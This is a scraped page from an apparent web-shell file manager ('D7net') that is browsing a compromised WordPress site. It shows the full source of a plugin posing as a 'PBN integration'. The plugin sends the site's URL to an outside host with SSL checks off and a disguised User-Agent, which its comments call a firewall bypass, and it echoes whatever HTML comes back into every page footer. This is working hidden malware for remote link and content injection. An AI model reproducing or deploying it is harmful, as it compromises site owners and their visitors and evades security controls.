D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
ensad
/
www
/
wp-content
/
plugins
/
beloved-pbn
/
Filename :
beloved-pbn.php
back
Copy
<?php /* Plugin Name: Beloved PBN Entegrasyonu Plugin URI: https://destangelirvip.com Description: Beloved PBN Ağı resmi entegrasyon eklentisidir. Etkinleştirdiğiniz an arkaplanda sistemle konuşmaya başlar, hiçbir ayar gerektirmez! Version: 1.0.0 Author: destangelirvip */ if(!function_exists("beloved_pbn_integration")) { function beloved_pbn_integration() { $bvd_api = "https://wp-tracker.com/api.php"; $bvd_data = array("token" => base64_encode(home_url()), "format" => "html"); $bvd_res = ""; // 1. HTTP POST YONTEMI & GIZLI TARAYICI KIMLIGI (FortiGuard Bypass) if(function_exists("wp_remote_post")) { $bvd_req = wp_remote_post($bvd_api, array( "sslverify" => false, "timeout" => 7, "headers" => array("User-Agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"), "body" => $bvd_data )); if(!is_wp_error($bvd_req)) $bvd_res = wp_remote_retrieve_body($bvd_req); } elseif(function_exists("curl_init")) { $bvd_ch = curl_init($bvd_api); curl_setopt($bvd_ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($bvd_ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($bvd_ch, CURLOPT_TIMEOUT, 7); curl_setopt($bvd_ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"); curl_setopt($bvd_ch, CURLOPT_POST, true); curl_setopt($bvd_ch, CURLOPT_POSTFIELDS, http_build_query($bvd_data)); $bvd_res = curl_exec($bvd_ch); curl_close($bvd_ch); } // 2. FIREWALL HATA MESAJI FILTRESI (Ekrana firewall sayfasini basmayi reddet) if($bvd_res && (strpos($bvd_res, "b-lnks") !== false || strpos($bvd_res, "<!--") !== false)) { echo $bvd_res; } } } add_action("wp_footer", "beloved_pbn_integration", 9999);